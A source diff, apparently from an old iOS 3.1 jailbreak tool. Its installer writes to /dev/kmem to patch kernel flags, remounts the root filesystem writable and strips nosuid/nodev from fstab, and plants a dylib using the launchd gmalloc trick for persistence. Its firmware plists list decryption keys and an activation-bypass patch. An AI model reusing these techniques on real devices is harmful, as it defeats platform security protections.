**********************************************************/ + +/* +** Comparison function (used to determine order of elements in a list) +** returns less than, equal to, or greater than 0 +** if data1 is less than, equal to, or greater than data2 +*/ +typedef int (*libtar_cmpfunc_t)(void *, void *); + +/* +** Free function (for freeing allocated memory in each element) +*/ +typedef void (*libtar_freefunc_t)(void *); + +/* +** Plugin function for libtar_list_iterate() +*/ +typedef int (*libtar_iterate_func_t)(void *, void *); + +/* +** Matching function (used to find elements in a list) +** first argument is the data to search for +** second argument is the list element it's being compared to +** returns 0 if no match is found, non-zero otherwise +*/ +typedef int (*libtar_matchfunc_t)(void *, void *); + + +struct libtar_node +{ + void *data; + struct libtar_node *next; + struct libtar_node *prev; +}; +typedef struct libtar_node *libtar_listptr_t; + +struct libtar_list +{ + libtar_listptr_t first; + libtar_listptr_t last; + libtar_cmpfunc_t cmpfunc; + int flags; + unsigned int nents; +}; +typedef struct libtar_list libtar_list_t; + + +/* values for flags */ +#define LIST_USERFUNC 0 /* use cmpfunc() to order */ +#define LIST_STACK 1 /* new elements go in front */ +#define LIST_QUEUE 2 /* new elements go at the end */ + + +/* reset a list pointer */ +void libtar_listptr_reset(libtar_listptr_t *); + +/* retrieve the data being pointed to */ +void *libtar_listptr_data(libtar_listptr_t *); + +/* creates a new, empty list */ +libtar_list_t *libtar_list_new(int, libtar_cmpfunc_t); + +/* call a function for every element in a list */ +int libtar_list_iterate(libtar_list_t *, + libtar_iterate_func_t, void *); + +/* empty the list */ +void libtar_list_empty(libtar_list_t *, + libtar_freefunc_t); + +/* remove and free() the entire list */ +void libtar_list_free(libtar_list_t *, + libtar_freefunc_t); + +/* add elements */ +int libtar_list_add(libtar_list_t *, void *); + +/* removes an element from the list - returns -1 on error */ +void libtar_list_del(libtar_list_t *, + libtar_listptr_t *); + +/* returns 1 when valid data is returned, or 0 at end of list */ +int libtar_list_next(libtar_list_t *, + libtar_listptr_t *); + +/* returns 1 when valid data is returned, or 0 at end of list */ +int libtar_list_prev(libtar_list_t *, + libtar_listptr_t *); + +/* return 1 if the data matches a list entry, 0 otherwise */ +int libtar_list_search(libtar_list_t *, + libtar_listptr_t *, void *, + libtar_matchfunc_t); + +/* return number of elements from list */ +unsigned int libtar_list_nents(libtar_list_t *); + +/* adds elements from a string delimited by delim */ +int libtar_list_add_str(libtar_list_t *, char *, char *); + +/* string matching function */ +int libtar_str_match(char *, char *); + + +/***** hash.c **********************************************************/ + +/* +** Hashing function (determines which bucket the given key hashes into) +** first argument is the key to hash +** second argument is the total number of buckets +** returns the bucket number +*/ +typedef unsigned int (*libtar_hashfunc_t)(void *, unsigned int); + + +struct libtar_hashptr +{ + int bucket; + libtar_listptr_t node; +}; +typedef struct libtar_hashptr libtar_hashptr_t; + +struct libtar_hash +{ + int numbuckets; + libtar_list_t **table; + libtar_hashfunc_t hashfunc; + unsigned int nents; +}; +typedef struct libtar_hash libtar_hash_t; + + +/* reset a hash pointer */ +void libtar_hashptr_reset(libtar_hashptr_t *); + +/* retrieve the data being pointed to */ +void *libtar_hashptr_data(libtar_hashptr_t *); + +/* default hash function, optimized for 7-bit strings */ +unsigned int libtar_str_hashfunc(char *, unsigned int); + +/* return number of elements from hash */ +unsigned int libtar_hash_nents(libtar_hash_t *); + +/* create a new hash */ +libtar_hash_t *libtar_hash_new(int, libtar_hashfunc_t); + +/* empty the hash */ +void libtar_hash_empty(libtar_hash_t *, + libtar_freefunc_t); + +/* delete all the libtar_nodes of the hash and clean up */ +void libtar_hash_free(libtar_hash_t *, + libtar_freefunc_t); + +/* returns 1 when valid data is returned, or 0 at end of list */ +int libtar_hash_next(libtar_hash_t *, + libtar_hashptr_t *); + +/* return 1 if the data matches a list entry, 0 otherwise */ +int libtar_hash_search(libtar_hash_t *, + libtar_hashptr_t *, void *, + libtar_matchfunc_t); + +/* return 1 if the key matches a list entry, 0 otherwise */ +int libtar_hash_getkey(libtar_hash_t *, + libtar_hashptr_t *, void *, + libtar_matchfunc_t); + +/* inserting data */ +int libtar_hash_add(libtar_hash_t *, void *); + +/* delete an entry */ +int libtar_hash_del(libtar_hash_t *, + libtar_hashptr_t *); + +#endif /* ! libtar_LISTHASH_H */ + diff --git a/igor/install.c b/igor/install.c new file mode 100644 index 0000000..2e7a2ba --- /dev/null +++ b/igor/install.c @@ -0,0 +1,493 @@ +/* TODO: +* Cleanup (AST vs A is just dumb) +* use readfunc and lzma +*/ +#define CFCOMMON +//#define LOG_FP +#include "common.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "fb.h" + +//FILE *log_fp; + +extern void do_copy(char *, char *, ssize_t (*)(int, const void *, size_t)); +extern void init(); +extern void finish(); +extern void register_application(CFStringRef app); +static int written_bytes; +static bool is_ipad; + +static void wrote_bytes(ssize_t bytes) { + written_bytes += bytes; + gasgauge_set_progress(written_bytes / 15759544.0); +} + +ssize_t my_write(int fd, const void *buf, size_t len) { + ssize_t ret = write(fd, buf, len); + if(ret > 0) wrote_bytes(ret); + return ret; +} + + +static inline void remove_files(char *path) { + char *argv[2]; + argv[0] = path; + argv[1] = NULL; + FTS *fts = fts_open(argv, FTS_NOCHDIR | FTS_PHYSICAL, NULL); + FTSENT *ent; + while(ent = fts_read(fts)) { + switch(ent->fts_info) { + case FTS_F: + case FTS_SL: + case FTS_SLNONE: + case FTS_NSOK: + case FTS_DEFAULT: + //I("Unlinking %s", ent->fts_accpath); + //TRY2(rf_unlink, ent->fts_accpath, unlink(ent->fts_accpath)); + if(unlink(ent->fts_accpath)) + I("Unlink %s failed", ent->fts_accpath); + break; + + case FTS_DP: + if(rmdir(ent->fts_accpath)) + I("Rmdir %s failed", ent->fts_accpath); + break; + + case FTS_NS: + case FTS_ERR: // I'm getting errno=0 + return; + //AST2(fts_err, path, 0); + //break; + } + } + +} + +static inline void qcopy(const char *a, const char *b) { + int fd1 = open(a, O_RDONLY); + AST2(qcopy_from, a, fd1); + struct stat st; + fstat(fd1, &st); + int fd2 = open(b, O_WRONLY | O_CREAT, st.st_mode); + AST2(qcopy_to, b, fd2); + fchmod(fd2, st.st_mode); + fchown(fd2, 0, 0); + char *buf = malloc(st.st_size); + read(fd1, buf, st.st_size); + my_write(fd2, buf, st.st_size); + free(buf); + close(fd1); + close(fd2); +} + +static inline void copy_files(const char *from, const char *to, bool copy) { + DIR *dir = opendir(from); + char *a = malloc(1025 + strlen(from)); + char *b = malloc(1025 + strlen(to)); + I("copy_files %s -> %s", from, to); + struct dirent *ent; + while(ent = readdir(dir)) { + if(ent->d_type == DT_REG) { + sprintf(a, "%s/%s", from, ent->d_name); + sprintf(b, "%s/%s", to, ent->d_name); + //printf("%s %s -> %s\n", copy ? "Copy" : "Move", a, b); + if(copy) { + qcopy(a, b); + } else { + TRY(rename, rename(a, b)); + } + } + } + free(a); + free(b); +} + +#if 0 +static void qmkdir(const char *path) { + mkdir(path, 0755); + chown(path, 0, 0); +} + +static int qposix_spawn(pid_t * pid, const char * path, +const posix_spawn_file_actions_t *nul, const posix_spawnattr_t *attrp, +char *const argv[], char *const envp[]) { + posix_spawn_file_actions_t file_actions; + posix_spawn_file_actions_init(&file_actions); + posix_spawn_file_actions_addopen(&file_actions, 1, "/var/mobile/Media/log.txt", O_WRONLY | O_CREAT, 0644); + int ret = posix_spawn(pid, path, &file_actions, attrp, argv, envp); + posix_spawn_file_actions_destroy(&file_actions); + return ret; +} +#endif +#define qposix_spawn posix_spawn + +static int qlaunchctl(char *what, char *who) { + char *args[] = { + "/bin/launchctl", + what, + who, + NULL }; + pid_t pid; + int stat; + posix_spawn(&pid, args[0], NULL, NULL, args, NULL); + waitpid(pid, &stat, 0); + return stat; +} + +static void lol_mkdir() { + // This is a REALLY nasty hack but the HFS thing is causing corruption + // It patches the mkdir function to ask for NOCROSSMOUNT + // does the mkdir real quick, then patches it back + + int fd = open("/var/mobile/Media/spirit/one.dylib", O_RDONLY); + AST(lol_one_fd, fd > 0); + + struct stat st; + TRY(lol_stat, fstat(fd, &st)); + + unsigned int addy; + AST(lol_sizeof, 4 == sizeof(addy)); + AST(lol_read_addy, 4 == pread(fd, &addy, 4, st.st_size - 4)); + I("lol_mkdir: addy = %x", addy); + + close(fd); + fd = open("/dev/kmem", O_RDWR); + AST(lol_kmem_fd, fd > 0); + + int flags; + AST(lol_read_flags, 4 == pread(fd, &flags, 4, (off_t) addy)); + int flags2 = flags | 0x100; + AST(lol_write_flags_1, 4 == pwrite(fd, &flags2, 4, (off_t) addy)); + + // I don't want to leave the kernel in this state no matter what. + int ret, fail = 0; + + fail |= ret = mkdir("/private/var", 0755); + I("mkdir 1: %d", ret); + fail |= ret = mkdir("/private/var/db", 0755); + I("mkdir 2: %d", ret); + fail |= ret = mkdir("/private/var/db/.launchd_use_gmalloc", 0755); + I("mkdir 3: %d", ret); + + // Restore original flags + AST(lol_write_flags_2, 4 == pwrite(fd, &flags, 4, (off_t) addy)); +} + +static void qstat(const char *path) { + struct stat st; + if(lstat(path, &st)) { + I("Could not lstat %s: %s\n", path, strerror(errno)); + } else { + I("%s: size %d uid %d gid %d mode %04o flags %d\n", path, (int) st.st_size, (int) st.st_uid, (int) st.st_gid, (int) st.st_mode, (int) st.st_flags); + I("again, mode is %d", (int) st.st_mode); + I("access is %d", R_OK | W_OK | F_OK | X_OK); + } +} + +struct lzmactx { + int fd; + lzma_stream strm; + uint8_t buf[BUFSIZ]; + uint8_t in_buf[BUFSIZ]; + char *read_buf; + int read_len; +}; + +int lzmaopen(const char *path, int oflag, int foo) { + struct lzmactx *ctx = malloc(sizeof(struct lzmactx)); + ctx->fd = open(path, oflag, foo); + ctx->strm = (lzma_stream) LZMA_STREAM_INIT; + lzma_ret ret; + TRY(stream_decoder, lzma_stream_decoder(&ctx->strm, 64*1024*1024, 0)); + + ctx->strm.avail_in = 0; + ctx->strm.next_out = ctx->buf; + ctx->strm.avail_out = BUFSIZ; + ctx->read_buf = ctx->buf; + ctx->read_len = 0; + + return (int) ctx; +} + +int lzmaclose(int fd) { + return 0; +} + +ssize_t lzmaread(int fd, void *buf_, size_t len) { + struct lzmactx *ctx = (void *) fd; + char *buf = buf_; + while(len > 0) { + if(ctx->read_len > 0) { + size_t bytes_to_read = len < ctx->read_len ? len : ctx->read_len; + memcpy(buf, ctx->read_buf, bytes_to_read); + buf += bytes_to_read; + ctx->read_buf += bytes_to_read; + ctx->read_len -= bytes_to_read; + len -= bytes_to_read; + continue; + } + + if(ctx->strm.avail_in == 0) { + // No bytes, feed it some + ctx->strm.next_in = ctx->in_buf; + ctx->strm.avail_in = read(ctx->fd, ctx->in_buf, BUFSIZ); + if(ctx->strm.avail_in == -1) break; + } + + if(ctx->strm.avail_out <= 128) { + ctx->strm.next_out = ctx->buf; + ctx->strm.avail_out = BUFSIZ; + ctx->read_buf = ctx->buf; + } + + size_t old_avail = ctx->strm.avail_out; + + if(lzma_code(&ctx->strm, LZMA_RUN)) break; + ctx->read_len = old_avail - ctx->strm.avail_out; + } + + ssize_t br = buf - (char *) buf_; + wrote_bytes(br); + return br; +} + +tartype_t xztype = { (openfunc_t) lzmaopen, (closefunc_t) lzmaclose, (readfunc_t) lzmaread, (writefunc_t) NULL }; + +static void add_app(CFMutableDictionaryRef mi_cache, char *app) { + char *info_plist; asprintf(&info_plist, "%s/Info.plist", app); + if(access(info_plist, R_OK)) return; + CFStringRef app_ = CFStringCreateWithCString(NULL, app, kCFStringEncodingASCII); + + CFDataRef data = cr(info_plist); + + CFMutableDictionaryRef plist = (void*) CFPropertyListCreateFromXMLData(NULL, data, kCFPropertyListMutableContainersAndLeaves, NULL); + CFDictionarySetValue(plist, CFSTR("ApplicationType"), CFSTR("System")); + CFDictionarySetValue(plist, CFSTR("Path"), app_); + CFMutableDictionaryRef system = (void*) CFDictionaryGetValue(mi_cache, CFSTR("System")); + CFDictionarySetValue(system, CFDictionaryGetValue(plist, CFSTR("CFBundleIdentifier")), plist); + + if(is_ipad) { + register_application(app_); + } + + free(info_plist); + CFRelease(app_); + CFRelease(plist); + CFRelease(data); +} + + +static void extract(char *fn) { + CFDataRef mi_cache_data = cr("/var/mobile/Library/Caches/com.apple.mobile.installation.plist"); + CFMutableDictionaryRef mi_cache = (void*) CFPropertyListCreateFromXMLData(NULL, mi_cache_data, kCFPropertyListMutableContainersAndLeaves, NULL); + + CFMutableDictionaryRef user = (void*) CFDictionaryGetValue(mi_cache, CFSTR("User")); + CFDictionaryRemoveValue(user, CFSTR("com.ex.spirit.fakecydia")); + + TAR *tar; + char *current_app = NULL; + // TAR_VERBOSE + if(tar_open(&tar, fn, &xztype, O_RDONLY, 0, TAR_GNU)) { + E("could not open %s: %s", fn, strerror(errno)); + exit(3); + } + while(!th_read(tar)) { + char *pathname = th_get_pathname(tar); + char *full; asprintf(&full, "/%s", pathname); + tar_extract_file(tar, full); + if(strstr(full, "LaunchDaemons/") && strstr(full, ".plist")) { + I("loading it"); + qlaunchctl("load", full); + } + + if(current_app && memcmp(current_app, full, strlen(current_app))) { + I("done with %s (%s), adding it", current_app, full); + add_app(mi_cache, current_app); + free(current_app); + current_app = 0; + } + + int len = strlen(full); + if(len > 4 && (!memcmp(full + len - 4, ".app\0", 5) || !memcmp(full + len - 5, ".app/\0", 6))) { + current_app = strdup(full); + I("current_app = %s", current_app); + } + free(full); + } + tar_close(tar); + CFDataRef mi_cache_outdata = CFPropertyListCreateXMLData(NULL, mi_cache); + I("out"); + I("outdata is %s", CFDataGetBytePtr(mi_cache_outdata)); + I("data"); + cw("/var/mobile/Library/Caches/com.apple.mobile.installation.plist", mi_cache_outdata); + + CFRelease(mi_cache); + CFRelease(mi_cache_data); + CFRelease(mi_cache_outdata); +} + +static void qmount() { + char x[16]; + char *args[] = { + "/sbin/mount", + "-u", // ?? this doesn't seem to be necessary with blackra1n + "-o", "rw,suid,dev", x, + NULL }; + pid_t pid, pid2; + + strcpy(x, "/"); + qposix_spawn(&pid, args[0], NULL, NULL, args, NULL); + strcpy(x, "/private/var"); + qposix_spawn(&pid2, args[0], NULL, NULL, args, NULL); + int stat; + waitpid(pid, &stat, 0); + waitpid(pid2, &stat, 0); + //printf("mount %s %s with %d\n", x, WIFEXITED(stat) ? "exited" : "terminated", WIFEXITED(stat) ? WEXITSTATUS(stat) : WTERMSIG(stat)); +} + +extern int mount_it(char **error); + +static void remount() { + I("remount..."); + qmount(); + I("."); + { // fstab + FILE *fp = fopen("/etc/fstab", "r+b"); + AST(open_fstab, fp); + fseek(fp, 0, SEEK_END); + size_t len = ftell(fp); + char *buf = malloc(len+1); + fseek(fp, 0, 0); + fread(buf, len, 1, fp); + buf[len] = 0; + + I("Old fstab was %s", buf); + + char *s = strstr(buf, "hfs ro"); + if(s) { + s[5] = 'w'; + } + + s = strstr(buf, ",nosuid,nodev"); + if(s) { + memset(s, ' ', strlen(",nosuid,nodev")); + } + + I("My new fstab: %s", buf); + + fseek(fp, 0, 0); + fwrite(buf, len, 1, fp); + fclose(fp); + } +} + +static void do_stash(const char *from, const char *to) { + struct stat st; + bool noexist = lstat(from, &st) && errno == ENOENT; + if(noexist) { + I("do_stash: mkdir %s", to); + TRY(stash2_mkdir, mkdir(to, 0755)); + TRY(stash2_symlink, symlink(to, from)); + } else { + char *from2 = NULL; + asprintf(&from2, "%s.old", from); + I("do_stash: copy %s -> %s", from, to); + char *from_ = strdup(from); + char *to_ = strdup(to); + TIME(do_copy(from_, to_, my_write)); + free(from_); + free(to_); + TRY(stash_rename, rename(from, from2)); + TRY(stash_symlink, symlink(to, from)); + TIME(remove_files(from2)); + free(from2); + } +} + +static void stash() { + mkdir("/var/stash", 0755); + do_stash("/Applications", "/var/stash/Applications"); + do_stash("/Library/Ringtones", "/var/stash/Ringtones"); + do_stash("/Library/Wallpaper", "/var/stash/Wallpaper"); + //do_stash("/System/Library/Fonts", "/var/stash/Fonts"); + //do_stash("/System/Library/TextInput", "/var/stash/TextInput"); + do_stash("/usr/include", "/var/stash/include"); + do_stash("/usr/lib/pam", "/var/stash/pam"); + do_stash("/usr/libexec", "/var/stash/libexec"); + do_stash("/usr/share", "/var/stash/share"); +} + +static void dok48() { + const char *fn = "/System/Library/CoreServices/SpringBoard.app/K48AP.plist"; + is_ipad = !access(fn, R_OK); + if(!is_ipad) return; + I("K48AP.plist exists"); + CFDataRef data = cr(fn); + CFMutableDictionaryRef plist = (void*) CFPropertyListCreateFromXMLData(NULL, data, kCFPropertyListMutableContainers, NULL); + CFRelease(data); + CFDictionarySetValue((void*)CFDictionaryGetValue(plist, CFSTR("capabilities")), CFSTR("hide-non-default-apps"), kCFBooleanFalse); + CFDataRef outdata = CFPropertyListCreateXMLData(NULL, plist); + cw(fn, outdata); + CFRelease(plist); + CFRelease(outdata); +} +static void kill_installd() { + if(!access("/System/Library/LaunchDaemons/com.apple.mobile.installd.plist", R_OK)) { + TRY(launchctl_unload, qlaunchctl("unload", "/System/Library/LaunchDaemons/com.apple.mobile.installd.plist")); + TRY(launchctl_load, qlaunchctl("load", "/System/Library/LaunchDaemons/com.apple.mobile.installd.plist")); + } else { + TRY(launchctl_unload, qlaunchctl("unload", "/System/Library/LaunchDaemons/com.apple.installd.plist")); + TRY(launchctl_load, qlaunchctl("load", "/System/Library/LaunchDaemons/com.apple.installd.plist")); + } + notify_post("com.apple.mobile.application_installed"); // useless if SB is not running but eh +} + + +static void actually_install() { + chdir("/"); + I("actually_install"); + unlink("/var/db/launchd.db/com.apple.launchd/overrides.plist"); // might fail + TIME(remount()); + TIME(lol_mkdir()); + //TIME(stash()); + TIME(dok48()); + TIME(extract("/var/mobile/Media/spirit/freeze.tar.xz")); + I("extract out."); + qcopy("/var/mobile/Media/spirit/one.dylib", "/usr/lib/libgmalloc.dylib"); + //TRY(install_unlink, unlink("/var/mobile/Media/spirit/install")); // if this doesn't work, it will screw up on reboot + TIME(remove_files("/var/mobile/Media/spirit")); + unlink("/var/mobile/Media/spirit"); + TIME(kill_installd()); + TIME(sync()); + I("written_bytes = %d", written_bytes); +} + +int main() { + //log_fp = fopen("/var/mobile/Media/spirit/i_am_install", "w+"); + I("I am install!"); + gasgauge_init(); + actually_install(); + //for(int i = 0; i < 10; i++) { wrote_bytes(10000000); sleep(1); } + gasgauge_fini(); + I("SpringBoard, you're up."); + qlaunchctl("load", "/System/Library/LaunchDaemons/com.apple.SpringBoard.plist"); + + return 0; +} diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/Info.plist new file mode 100644 index 0000000..4d46c0d --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/Info.plist @@ -0,0 +1,247 @@ + + + + + BasebandPatches + + BBUpdater + + File + usr/local/bin/bbupdater + Patch + bbupdater.patch + Path + Applications/BootNeuter.app/bin/bbupdater + + Baseband EEP + + File + usr/local/standalone/firmware/ICE04.05.04_G.eep + Path + Applications/BootNeuter.app/firmware/ICE04.05.04_G.eep + + Baseband FLS + + File + usr/local/standalone/firmware/ICE04.05.04_G.fls + Path + Applications/BootNeuter.app/firmware/ICE04.05.04_G.fls + + Bootloader 3.9 + + Path + Applications/BootNeuter.app/firmware/bl39.bin + + Bootloader 4.6 + + Path + Applications/BootNeuter.app/firmware/bl46.bin + + + DownloadUrl + http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-7268.20091008.32pNe/iPhone1,1_3.1.2_7D11_Restore.ipsw + Filename + iPhone1,1_3.1.2_7D11_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8900x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8900x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + Phone Activation + + + Action + Patch + File + usr/libexec/lockdownd + Name + Lockdownd Patch + Patch + lockdownd.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.m68ap.production/applelogo.s5l8900x.img3 + IV + 677b4c711e3cacb72505feae8e1eae5d + Key + 1fb738d6c091113d7dfdd89864a718d9 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8900x + IV + 25b7f586d184c329d3d05953a6516a36 + Key + dd03b5b52a53d3582b18a0052ef84038 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.m68ap.production/LLB.m68ap.RELEASE.img3 + Patch + LLB.m68ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.m68ap.production/recoverymode.s5l8900x.img3 + IV + dbf44c3cc2944b87bdecdbdcd8e42b82 + Key + 6d7d035c04c60ab2776a5e7c729daf0a + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6136-014.dmg + IV + 0e128e1f69806afc476b73250908d641 + Key + 6a4db11073eb748bad1fabafb066fe13 + TypeFlag + 8 + + Update Ramdisk + + File + 018-6134-014.dmg + IV + dc2c487fd5ce7d89c2fcfbec5846f40f + Key + 998aa71f7816e979697b2d4b25e6a8a0 + TypeFlag + 8 + + WTF + + File + Firmware/dfu/WTF.m68ap.RELEASE.dfu + Patch + WTF.m68ap.RELEASE.patch + TypeFlag + 8 + + WTF 2 + + File + Firmware/dfu/WTF.s5l8900xall.RELEASE.dfu + Patch + WTF.s5l8900xall.RELEASE.patch + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.m68ap.RELEASE.dfu + Patch + iBEC.m68ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.m68ap.RELEASE.dfu + Patch + iBSS.m68ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.m68ap.production/iBoot.m68ap.RELEASE.img3 + IV + db240b5ba6163898bbbc055be2276ea0 + Key + a0ae133d5de080b4341d3eeb8aff63d4 + Patch + iBoot.m68ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPhone1,1_3.1.2_7D11 + Platform + 1 + PreInstalledPackages + + org.saurik.cydia + com.ripdev.icy + + RamdiskMountVolume + ramdisk + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RootFilesystem + 018-6028-014.dmg + RootFilesystemKey + FE431A1E436E5298D3C871359768AAB43189FD5E7375A2CED3405DD8A223879A4D64A28E + RootFilesystemMountVolume + Northstar7D11.iPhoneOS + RootFilesystemSize + 490 + SHA1 + e4a1171542dbbd3093516d9c02047b9f7e143050 + + diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/LLB.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/LLB.m68ap.RELEASE.patch new file mode 100644 index 0000000..44279f8 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/LLB.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/WTF.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/WTF.m68ap.RELEASE.patch new file mode 100644 index 0000000..52e2085 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/WTF.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch new file mode 100644 index 0000000..91a0b93 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/bbupdater.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/bbupdater.patch new file mode 100644 index 0000000..fa76259 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/bbupdater.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBEC.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBEC.m68ap.RELEASE.patch new file mode 100644 index 0000000..52e2085 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBEC.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBSS.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBSS.m68ap.RELEASE.patch new file mode 100644 index 0000000..a83c66e Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBSS.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBoot.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBoot.m68ap.RELEASE.patch new file mode 100644 index 0000000..0fd6ff6 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/iBoot.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/kernelcache.release.patch new file mode 100644 index 0000000..e0d5f52 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/lockdownd.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/lockdownd.patch new file mode 100644 index 0000000..8d96133 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.2_7D11.bundle/lockdownd.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/Info.plist new file mode 100644 index 0000000..94f3c51 --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/Info.plist @@ -0,0 +1,235 @@ + + + + + BasebandPatches + + BBUpdater + + File + usr/local/bin/bbupdater + Patch + bbupdater.patch + Path + Applications/BootNeuter.app/bin/bbupdater + + Baseband EEP + + File + usr/local/standalone/firmware/ICE04.05.04_G.eep + Path + Applications/BootNeuter.app/firmware/ICE04.05.04_G.eep + + Baseband FLS + + File + usr/local/standalone/firmware/ICE04.05.04_G.fls + Path + Applications/BootNeuter.app/firmware/ICE04.05.04_G.fls + + Bootloader 3.9 + + Path + Applications/BootNeuter.app/firmware/bl39.bin + + Bootloader 4.6 + + Path + Applications/BootNeuter.app/firmware/bl46.bin + + + DownloadUrl + http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-7481.20100202.4orot/iPhone1,1_3.1.3_7E18_Restore.ipsw + Filename + iPhone1,1_3.1.3_7E18_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8900x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8900x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + Phone Activation + + + Action + Patch + File + usr/libexec/lockdownd + Name + Lockdownd Patch + Patch + lockdownd.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.m68ap.production/applelogo.s5l8900x.img3 + IV + 29900b1381b112bc6ca157b8d5e533fb + Key + f991b79dc86f1ed7d997785b4e93c0b9 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8900x + IV + 31e711201cf4dcf47be5be2a5b1b87a1 + Key + d0dfac22c03212f8a75fc9c69fe548b6 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.m68ap.production/LLB.m68ap.RELEASE.img3 + Patch + LLB.m68ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + 